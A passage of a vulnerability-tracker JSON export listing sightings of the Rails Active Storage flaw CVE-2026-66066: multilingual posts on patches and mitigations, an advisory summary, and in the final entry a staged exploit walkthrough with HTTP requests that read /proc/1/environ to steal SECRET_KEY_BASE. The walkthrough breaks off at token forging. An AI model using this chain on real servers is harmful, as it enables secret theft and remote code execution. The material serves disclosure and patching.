Storage\u306b\u7dca\u6025\u5ea6\u306e\u9ad8\u3044\u8106\u5f31\u6027CVE-2026-66066\u300cKindaRails2Shell\u300d\u304c\u767a\u898b\u3055\u308c\u307e\u3057\u305f\u3002\u7d30\u5de5\u3055\u308c\u305f\u30d5\u30a1\u30a4\u30eb\u3092\u30a2\u30c3\u30d7\u30ed\u30fc\u30c9\u3059\u308b\u3053\u3068\u3067\u30b5\u30fc\u30d0\u30fc\u30d5\u30a1\u30a4\u30eb\u306e\u8aad\u307f\u53d6\u308a\u3068\u30ea\u30e2\u30fc\u30c8\u30b3\u30fc\u30c9\u5b9f\u884c\u304c\u53ef\u80fd\u3067\u3059\u3002activestorage 7.2.3.2\u3088\u308a\u524d\u30018.0.5.1\u3088\u308a\u524d\u30018.1.3.1\u3088\u308a\u524d\u306e\u30d0\u30fc\u30b8\u30e7\u30f3\u304c\u5bfe\u8c61\u3067\u3001JPCERT/CC\u306f\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u30b3\u30fc\u2026\n\n#CVE #\u8106\u5f31\u6027 #\u60c5\u5831\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3", "creation_timestamp": "2026-07-30T10:01:29.154954Z"}, {"uuid": "7f3b3ec4-5d81-48d1-94f5-0e5172a14e68", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://bsky.app/profile/nixpkgssecuritychanges.gerbet.me/post/3mrukk3nzjy2o", "content": "[Backport release-26.05] mastodon: patch CVE-2026-66066/GHSA-xr9x-r78c-5hrm in activesupport gem\n\nhttps://github.com/NixOS/nixpkgs/pull/547370\n\n#security", "creation_timestamp": "2026-07-30T13:34:04.419647Z"}, {"uuid": "20d82c19-2c00-45fb-b7f8-2ddd6a13fa43", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://bsky.app/profile/r-netsec.bsky.social/post/3mruozyeg3g2w", "content": "KindaRails2Shell: arbitrary file read to RCE in Rails Active Storage via libvips (CVE-2026-66066)", "creation_timestamp": "2026-07-30T14:54:32.715081Z"}, {"uuid": "0686ca02-5ae6-4c9a-ad15-bab6e9a69949", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://bsky.app/profile/ethiack.com/post/3mrtaldovvc25", "content": "\ud83d\udea8 We discovered a critical RCE in Ruby on Rails via Active Storage.\nKindaRails2Shell - discovered by the Ethiack research team.\n\nAny app using Active Storage with the default vips processor and accepting image uploads from untrusted users is affected.\n\nCVE-2026-66066\n\nethiack.com/info-hub/res...", "creation_timestamp": "2026-07-30T01:03:11.651230Z"}, {"uuid": "d12a3ac9-6a88-421f-99da-03ff26eb2bf5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://bsky.app/profile/0xacb.com/post/3mrtajosfqc2r", "content": "\ud83d\udea8We reported KindaRails2Shell, a critical RCE in Ruby on Rails via Active Storage.\n\nIt\u2019s not a one-shot RCE, but the preconditions are kinda common under default configurations.\n\nPatch your applications now!\n\nCVE-2026-66066\n\nethiack.com/info-hub/res...", "creation_timestamp": "2026-07-30T01:02:16.116928Z"}, {"uuid": "c0950220-0419-4e13-b40b-a7106c76c772", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://bsky.app/profile/noellabo.fedibird.com.ap.brid.gy/post/3mrtaxcthoh72", "content": "Rails\u306e\u8106\u5f31\u6027 CVE-2026-66066 \u306f\u57fa\u672c\u7684\u306bMastodon\u306b\u5f71\u97ff\u306a\u3044\u306f\u305a\u3067\u3059\u3002\n\n\u30fb\u4eca\u56de\u306e\u8106\u5f31\u6027\u306e\u524d\u63d0\u3067\u3042\u308bActiveStorage\u3092\u4f7f\u3063\u3066\u3044\u306a\u3044\uff08PaperClip\u7cfb\u3067\u3059\uff09\n\n\u30fb\u8106\u5f31\u6027\u5bfe\u7b56\u306eRails\u30a2\u30c3\u30d7\u30c7\u30fc\u30c8\u3068\u540c\u69d8\u306e\u5185\u5bb9\u304c\u65e2\u306b\u672c\u4f53\u30b3\u30fc\u30c9\u306b\u5165\u3063\u3066\u3044\u308b\uff08libvips\u306e\u4fe1\u983c\u3067\u304d\u306a\u3044\u30d5\u30a1\u30a4\u30eb\u51e6\u7406\u64cd\u4f5c\u306e\u7121\u52b9\u5316\u30d5\u30e9\u30b0\uff09\n\n\u30fb\u5b89\u5168\u3068\u5224\u65ad\u3057\u305f\u753b\u50cf\u4ee5\u5916\u306e\u30c7\u30fc\u30bf\u6dfb\u4ed8\u30fb\u51e6\u7406\u3092\u8a31\u53ef\u3057\u3066\u304a\u3089\u305a\u3001\u57fa\u672c\u7684\u306b\u8a31\u53ef\u3057\u305f\u4ee5\u5916\u306e\u30e1\u30bf\u30c7\u30fc\u30bf\u3092\u524a\u9664\u3059\u308b\n\n\u307e\u305f\u3001\u4f55\u304b\u554f\u984c\u306b\u6c17\u4ed8\u3044\u305f\u3089\u3001\u516c\u958b\u306e\u5834\u3067\u767a\u8a00\u3059\u308b\u306e\u3067\u306f\u306a\u304f\u3001\u3053\u3061\u3089\u304b\u3089\u958b\u767a\u30c1\u30fc\u30e0\u3078\u304a\u77e5\u3089\u305b\u304f\u3060\u3055\u3044\u3002 [\u2026]", "creation_timestamp": "2026-07-30T01:13:25.726248Z"}, {"uuid": "0ef41a6e-0ee2-4978-9a46-c677486816dd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://bsky.app/profile/nixpkgssecuritychanges.gerbet.me/post/3mrudy2kgin2f", "content": "mastodon: patch CVE-2026-66066/GHSA-xr9x-r78c-5hrm in activesupport gem\n\nhttps://github.com/NixOS/nixpkgs/pull/547199\n\n#security", "creation_timestamp": "2026-07-30T11:36:36.765656Z"}, {"uuid": "4a581b33-aad9-4c63-b2c7-ceeb86cd26a6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://bsky.app/profile/in4matics.cat/post/3mrudytoz2y2m", "content": "CVE-2026-66066: un atacant pot llegir fitxers del servidor Rails gr\u00e0cies a Active Storage + libvips. secret_key_base, master.key, credencials de cloud \u2014 tot a l'abast. I despr\u00e9s fer RCE amb les claus robades. \ud83c\udfaf Parcheja ...", "creation_timestamp": "2026-07-30T11:37:05.187726Z"}, {"uuid": "dc303b21-fdb0-49db-8d79-37c68a49cdfe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://bsky.app/profile/raul.mastodon.in4matics.cat.ap.brid.gy/post/3mru7jc6fx7f2", "content": "CVE-2026-66066: un atacant pot llegir fitxers del servidor Rails gr\u00e0cies a Active Storage + libvips. secret_key_base, master.key, credencials de cloud \u2014 tot a l'abast. I despr\u00e9s fer RCE amb les claus robades. \ud83c\udfaf\n\nParcheja a: activestorage 7.2.3.2 / 8.0.5.1 / 8.1.3.1 o libvips \u2265 8.13.0\n\nSi encara [\u2026]", "creation_timestamp": "2026-07-30T10:16:55.920707Z"}, {"uuid": "c55c9de3-beb1-4138-abc4-bd88e80944b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://bsky.app/profile/warthogtk.bsky.social/post/3mrtwqj52tc2q", "content": "KindaRails2Shell - Critical RCE in Rails via Active Storage (CVE-2026-66066) | Ethiack  \nethiack.com/info-hub/res...", "creation_timestamp": "2026-07-30T07:39:45.355090Z"}, {"uuid": "4e78ec61-585e-4754-bc90-856232acad72", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://bsky.app/profile/fastruby.io/post/3mrupi4wkkq27", "content": "Critical Rails CVE-2026-66066: file read + RCE in Active Storage vips image processing (default since Rails 7.0).\n\nPatch today: 7.2.3.2 / 8.0.5.1 / 8.1.3.1.\n\nOn 7.1 or older? No patch. Set VIPS_BLOCK_UNTRUSTED (libvips 8.13+) and plan your upgrade.\n\nNeed a hand? fastruby.io/#contactus", "creation_timestamp": "2026-07-30T15:02:27.321169Z"}, {"uuid": "e81de75f-7adf-406c-9969-ad150c6390b6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://bsky.app/profile/checkmarxzero.bsky.social/post/3mruqotif5326", "content": "\ud83d\udea8 Critical CVE-2026-66066 in Ruby on Rails may let unauthenticated users read arbitrary files and achieve #RCE.\n\nIt affects applications using libvips for Active Storage image processing and allow image uploads from untrusted users.\n\nUpdate to Rails to 7.2.3.2, 8.0.5.1 or 8.1.3.1.", "creation_timestamp": "2026-07-30T15:24:06.565855Z"}, {"uuid": "4409e77d-84a8-4bff-9940-ae33b552cd35", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://bsky.app/profile/arc-codex.com/post/3mruqz6fdf22y", "content": "CVE-2026-66066: Critical Rails Flaw Exposes Server Files via Image Uploads\n\n", "creation_timestamp": "2026-07-30T15:29:53.405894Z"}, {"uuid": "7abb5f9d-c6e1-4bac-a300-227b9c64c2b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://bsky.app/profile/buherator.bsky.social/post/3mrusow4vxm25", "content": "[RSS] KindaRails2Shell: arbitrary file read to RCE in Rails Active Storage via libvips (CVE-2026-66066)\n\n\n ethiack.com -> \n\n\nOriginal->", "creation_timestamp": "2026-07-30T15:59:56.295297Z"}, {"uuid": "5b07bf8f-888d-4229-a748-d05ba9d4aba8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://bsky.app/profile/nixpkgssecuritychanges.gerbet.me/post/3mruugirxjn2o", "content": "sure: 0.7.1 -> 0.7.2 && patch CVE-2026-66066\n\nhttps://github.com/NixOS/nixpkgs/pull/547318\n\n#security", "creation_timestamp": "2026-07-30T16:31:01.765312Z"}, {"uuid": "22d246d9-63b7-4cc1-a475-b9d0880f2b9d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://bsky.app/profile/nixpkgssecuritychanges.gerbet.me/post/3mruugjaotk2u", "content": "dawarich: 1.10.1 -> 1.10.3; fix CVE-2026-66066\n\nhttps://github.com/NixOS/nixpkgs/pull/546764\n\n#security", "creation_timestamp": "2026-07-30T16:31:03.476375Z"}, {"uuid": "a1a77003-8bf8-4d94-b4e6-d179c750c959", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://bsky.app/profile/ytroncal.bsky.social/post/3mruy2ktub22t", "content": "KindaRails2Shell - Critical RCE in Rails via Active Storage (CVE-2026-66066) ethiack.com/info-hub/res...", "creation_timestamp": "2026-07-30T17:35:58.008771Z"}, {"uuid": "d98c3ddb-0654-4789-b859-4ffd5945b11b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mruymgal4j2g", "content": "CVE-2026-66066: Ruby on Rails' Arbitrary File Read Threats Must Be Addressed #CVE2026 #RubyOnRails #CyberSecurity", "creation_timestamp": "2026-07-30T17:45:55.537338Z"}, {"uuid": "94997241-f7e5-48bf-ba43-299c8a0916a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mruyo7oyfp2j", "content": "CVE-2026-66066: Ruby on Rails Vulnerability Offers Attackers An Easy Path to Exploit #CVE2026 #RubyOnRails #CyberSecurity", "creation_timestamp": "2026-07-30T17:46:55.377490Z"}, {"uuid": "6d112413-dcfe-46fb-9e1e-e52af2f53998", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mruyoei4l425", "content": "CVE-2026-66066: Ruby on Rails Vulnerability Can't Hide Its Lack of Evidence #CVE202666066 #RubyOnRails #Vulnerability", "creation_timestamp": "2026-07-30T17:47:00.360047Z"}, {"uuid": "005c4106-10ff-4bd6-b986-20f5ed6cac15", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mruyobb2qz2g", "content": "CVE-2026-66066: Ruby on Rails Users Must Question Security Defaults #RubyOnRails #CVE2026 #SecurityVulnerabilities", "creation_timestamp": "2026-07-30T17:46:57.385266Z"}, {"uuid": "1990886d-4db5-4c98-8918-d3e56282e5e0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mruyoct26u2j", "content": "CVE-2026-66066: Ruby on Rails Vulnerability Signals Serious Compliance Gaps #CVE202666066 #RubyOnRails #Vulnerability", "creation_timestamp": "2026-07-30T17:46:58.748167Z"}, {"uuid": "922a30dd-3f83-4398-b17f-c1eee2b04d4c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mruyog7d7j2g", "content": "CVE-2026-66066: Containment Strategies or Exploit Research as Priority? #CVE2026 #CyberSecurity #RubyOnRails", "creation_timestamp": "2026-07-30T17:47:02.537405Z"}, {"uuid": "99e46b37-eae7-4176-b7c5-a80d4286e5bb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://bsky.app/profile/lobsters-feed.bsky.social/post/3mruyttnutg25", "content": "KindaRails2Shell - Critical RCE in Rails via Active Storage (CVE-2026-66066) https://lobste.rs/s/kkobew #ruby #security ", "creation_timestamp": "2026-07-30T17:50:04.505469Z"}, {"uuid": "d133686b-5ffe-41a9-9f6d-5554bfb37720", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://bsky.app/profile/arc-codex.com/post/3mrv4xkz25x2z", "content": "KindaRails2Shell: CVE-2026-66066, Critical Arbitrary File Read and Possible Remote Code Execution in Ruby on Rails\n\n", "creation_timestamp": "2026-07-30T19:03:43.987668Z"}, {"uuid": "f0c92600-63f9-4f40-823a-fa3028114af6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mrv4y7uc4a2s", "content": "CVE-2026-66066 - activestorage\nA vulnerability in Active Storage can allow an attacker to read sensitive files and potentially run malicious code on your server. This is possible if your application uses\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#activestorage #Ruby #CVE #infosec", "creation_timestamp": "2026-07-30T19:04:05.642015Z"}, {"uuid": "5847637e-4746-4c48-80b2-16c58904d674", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://gist.github.com/alon710/91befcf1d9482b0b57392c974c405ba5", "content": "# CVE-2026-66066: CVE-2026-66066: Pre-Authentication Arbitrary File Read and Remote Code Execution in Ruby on Rails Active Storage\n\n> **CVSS Score:** 9.8\n> **Published:** 2026-07-30\n> **Full Report:** https://cvereports.com/reports/CVE-2026-66066\n\n## Summary\nCVE-2026-66066 (popularly known as 'KindaRails2Shell') is a critical security vulnerability in the Active Storage component of Ruby on Rails. The vulnerability arises from an insecure default integration with the libvips image processing library via the ruby-vips gem. Under default configurations, Active Storage fails to restrict untrusted format loaders within libvips, allowing remote, unauthenticated attackers to upload malformed files that leverage external dataset features to read local server files. By extracting cryptographic secrets such as SECRET_KEY_BASE from the leaked file contents, attackers can forge signed Marshal serialization payloads to achieve remote code execution.\n\n## TL;DR\nActive Storage using libvips allows unauthenticated remote attackers to read arbitrary server files by uploading a crafted MATLAB/HDF5 file, extract SECRET_KEY_BASE, and execute arbitrary commands via forged Marshal deserialization payloads.\n\n## Exploit Status: POC\n\n## Technical Details\n\n- **CWE ID**: CWE-1188 / CWE-502\n- **Attack Vector**: Network (Unauthenticated)\n- **CVSS v3.1 Score**: 9.8\n- **CVSS v4.0 Score**: 9.5\n- **Exploit Status**: Proof of Concept (PoC) Available\n- **KEV Status**: Not Listed\n\n## Affected Systems\n\n- Ruby on Rails (Active Storage / Action Pack) using libvips\n- **Ruby on Rails (Active Storage)**: < 7.2.3.2 (Fixed in: `7.2.3.2`)\n- **Ruby on Rails (Active Storage)**: >= 8.0.0.beta1, < 8.0.5.1 (Fixed in: `8.0.5.1`)\n- **Ruby on Rails (Active Storage)**: >= 8.1.0.beta1, < 8.1.3.1 (Fixed in: `8.1.3.1`)\n\n## Mitigation\n\n- Upgrade the Ruby on Rails framework to patched release versions.\n- Verify and upgrade system-level dependencies for libvips and ruby-vips.\n- Switch the Active Storage variant processor to mini_magick as a temporary workaround.\n- Configure restrictive security policies on host image-processing utilities.\n\n**Remediation Steps:**\n1. Identify the current active variant processor in config/environments/production.rb.\n2. Update Rails Gemfile declarations to target versions 7.2.3.2, 8.0.5.1, or 8.1.3.1.\n3. Ensure host package managers are updated to install libvips version 8.13 or newer.\n4. Update the ruby-vips gem dependency to version 2.2.1 or newer.\n5. Deploy the updated application and restart system-level processes to load the new library-level blocks.\n\n## References\n\n- [GitHub Security Advisory (Rails Core)](https://github.com/rails/rails/security/advisories/GHSA-xr9x-r78c-5hrm)\n- [Official Fix Commit - 1c01bb58](https://github.com/rails/rails/commit/1c01bb587206ee6eb0e1179c2cef96a6a47acb1e)\n- [Official Fix Commit - 349e7a5d](https://github.com/rails/rails/commit/349e7a5d5b4b715af1e416db824f3c078a7d59e5)\n- [Official Fix Commit - d79b7f4a](https://github.com/rails/rails/commit/d79b7f4aa17dec8ce4960fef05733c8c0c7ef49a)\n- [Rubysec Advisory Entry](https://github.com/rubysec/ruby-advisory-db/blob/master/gems/activestorage/CVE-2026-66066.yml)\n- [Official Rails Release v7.2.3.2](https://github.com/rails/rails/releases/tag/v7.2.3.2)\n- [Official Rails Release v8.0.5.1](https://github.com/rails/rails/releases/tag/v8.0.5.1)\n- [Official Rails Release v8.1.3.1](https://github.com/rails/rails/releases/tag/v8.1.3.1)\n- [Industry Disclosure](https://thehackernews.com/2026/07/critical-rails-flaw-could-let.html)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-66066) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-07-30T19:31:44.957555Z"}, {"uuid": "74056ade-c25d-4492-8997-94a4b223f784", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://bsky.app/profile/cyfar.ca/post/3mrvab4yvvg24", "content": "~Akamai~\nUnauthenticated RCE in Ruby on Rails Active Storage via libvips allows arbitrary file read and secret extraction.\n-\nIOCs: CVE-2026-66066\n-\n#CVE2026 #RCE #threatintel", "creation_timestamp": "2026-07-30T20:02:46.538606Z"}, {"uuid": "7f760e89-1a51-4c03-89f2-2efab0aaedc1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/apzkbvj2mnhdq", "content": "CVE-2026-66066 - Action Pack: Possible arbitrary file read and remote code execution in Active Storage variant processing\nCVE ID : CVE-2026-66066\n \n Published : July 30, 2026, 7:18 p.m. | 26\u00a0minutes ago\n \n Description : Action Pack is a framework for handling and responding to...", "creation_timestamp": "2026-07-30T20:06:13.466255Z"}, {"uuid": "35300830-423a-4d7f-9352-f8f990c2d49e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://bsky.app/profile/kitafox.bsky.social/post/3mrvci5bs5d2k", "content": "Ruby on Rails\u306eActive Storage\u306b\u304a\u3051\u308b\u30ea\u30e2\u30fc\u30c8\u30b3\u30fc\u30c9\u5b9f\u884c\u306b\u3064\u306a\u304c\u308b\u8106\u5f31\u6027\uff08CVE-2026-66066\uff09\u306b\u95a2\u3059\u308b\u6ce8\u610f\u559a\u8d77  #JPCERTCC (Jul 30)\n\nwww.jpcert.or.jp/at/2026/at26...", "creation_timestamp": "2026-07-30T20:42:29.118692Z"}, {"uuid": "6676af12-2398-457c-b581-d6ce1e49ec27", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://bsky.app/profile/foursignalsdev.bsky.social/post/3mrvgt4jtg62x", "content": "CVE-2026-66066 in Active Storage + libvips allows arbitrary file read and RCE via crafted images. Patched in Rails 7.2.3.2, 8.0.5.1, 8.1.3.1. Upgrade and rotate all secrets now.", "creation_timestamp": "2026-07-30T22:00:12.285190Z"}, {"uuid": "84803724-f5d0-4ba8-a01a-10b430f4620e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://bsky.app/profile/securitylab-jp.bsky.social/post/3mrvlce6b6s2y", "content": "KindaRails2Shell\uff08CVE-2026-66066\uff09-Active Storage\u7d4c\u7531\u3067\u8a8d\u8a3c\u4e0d\u8981\u306eRCE\u304c\u53ef\u80fd\u306aRails\u7dca\u6025\u8106\u5f31\u6027\u3001PoC\u306f\u73fe\u6642\u70b9\u3067\u975e\u516c\u958b\u3082AI\u5229\u7528\u3067\u6570\u6642\u9593\u4ee5\u5185\u306b\u4f5c\u6210\u53ef\u80fd\u3068\u767a\u898b\u8005\u304c\u8b66\u544a\nrocket-boys.co.jp/security-mea...\n\n#\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u5bfe\u7b56Lab #security #securitynews #\u8106\u5f31\u6027", "creation_timestamp": "2026-07-30T23:20:50.390518Z"}, {"uuid": "2ed0101f-f6fe-49f8-81d6-8ee1b3327dce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "Telegram/W0lu0X8rnBxhk3SmdmG-8xSd4a_Cg78RoyGoES2GQ8tFRdo", "content": "", "creation_timestamp": "2026-07-31T00:00:39.339253Z"}, {"uuid": "84246826-97c5-40a9-853f-e32f53c04aab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "published-proof-of-concept", "source": "Telegram/Yj7Aq_xyYiyFjEC7_fWRp1WW6CPSPv-8fFQ8YzgEKFCsJSk", "content": "", "creation_timestamp": "2026-07-31T00:00:43.804460Z"}, {"uuid": "7c3623fd-f1d5-4bac-8d9c-271d90d7cdf3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "published-proof-of-concept", "source": "Telegram/SJmbQDTJOoLR6WUPV-7UADrc7Vs17MVSUxypkFUaK9ZbHGI", "content": "", "creation_timestamp": "2026-07-31T00:00:43.857309Z"}, {"uuid": "8d711bd2-84d4-4e57-ad7d-f72814a818b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "published-proof-of-concept", "source": "Telegram/8sG8-znVA24HEgCSSOgSFdLJSscjGG_d1L2w-JFGPL2oE2E", "content": "", "creation_timestamp": "2026-07-31T00:00:43.939161Z"}, {"uuid": "39a5c0d2-3eec-499b-8ac9-98b911f4a54d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://gist.github.com/gmh5225/ebae93e4442c0f7d56d0700bf39a4055", "content": "## Stage 1 \u2013 Visit Upload Page (Get CSRF)\n\n```\nGET / HTTP/1.1\nHost: victim.com\n```\n\nResponse\n\n```html\n\n```\n\nExtract the CSRF token.\n\n---\n\n## Stage 2 \u2013 Upload a Normal PNG\n\nThe PoC first uploads a harmless PNG.\n\n```\nPOST /uploads HTTP/1.1\nHost: victim.com\nContent-Type: multipart/form-data; boundary=----\n\n------BOUNDARY\nContent-Disposition: form-data; name=\"authenticity_token\"\n\nCSRF_TOKEN\n------BOUNDARY\nContent-Disposition: form-data;\n name=\"upload[avatar]\";\n filename=\"safe.png\"\n\n\n------BOUNDARY--\n```\n\nResponse\n\n```\nHTTP/1.1 200 OK\n```\n\nInside HTML:\n\n```html\n\n```\n\nThis representation URL becomes important later.\n\n---\n\n## Stage 3 \u2013 Create Direct Upload\n\nRails Active Storage allows JavaScript clients to upload files directly.\n\n```\nPOST /rails/active_storage/direct_uploads HTTP/1.1\n\nContent-Type: application/json\nX-CSRF-Token: CSRF_TOKEN\n\n{\n  \"blob\":{\n      \"filename\":\"profile.bmp\",\n      \"byte_size\":12345,\n      \"checksum\":\"....\",\n      \"content_type\":\"image/bmp\"\n  }\n}\n```\n\nResponse\n\n```json\n{\n   \"signed_id\":\"eyJ...\",\n   \"direct_upload\":{\n      \"url\":\"/rails/active_storage/disk/....\",\n      \"headers\":{\n           \"Content-Type\":\"image/bmp\"\n      }\n   }\n}\n```\n\nNow the attacker has:\n\n* upload URL\n* signed blob ID\n\n---\n\n## Stage 4 \u2013 Upload the Malicious BMP\n\nThis is **not really a BMP**.\n\nIt is actually\n\n```\nMATLAB\n      +\nHDF5\n      +\nExternal Dataset\n      +\nEmbedded Ruby Marshal Payload\n```\n\nUploaded with\n\n```\nPUT /rails/active_storage/disk/... HTTP/1.1\n\nContent-Type: image/bmp\n\n\n```\n\nResponse\n\n```\n204 No Content\n```\n\n---\n\n## Stage 5 \u2013 Trigger Image Processing\n\nNow the representation URL is modified to use the uploaded blob.\n\n```\nGET /rails/active_storage/representations/redirect//profile.bmp\n```\n\nAt this point Rails asks **libvips** to process the image.\n\nInstead of reading image pixels, libvips interprets it as a MATLAB/HDF5 file.\n\nThe HDF5 file contains an **External Dataset** pointing to\n\n```\n/proc/1/environ\n```\n\nSo libvips loads\n\n```\n/proc/1/environ\n```\n\ninstead of image pixels.\n\n---\n\n## Stage 6 \u2013 Information Disclosure\n\nThe response is still a PNG image.\n\nHowever its pixels now contain the contents of\n\n```\n/proc/1/environ\n```\n\nThe PoC parses the returned PNG.\n\nInside the pixels it extracts\n\n```\nSECRET_KEY_BASE=xxxxxxxxxxxxxxxx\n```\n\nThis is the Rails signing secret.\n\n---\n\n## Stage 7 \u2013 Forge Active Storage Token\n\nNow the PoC 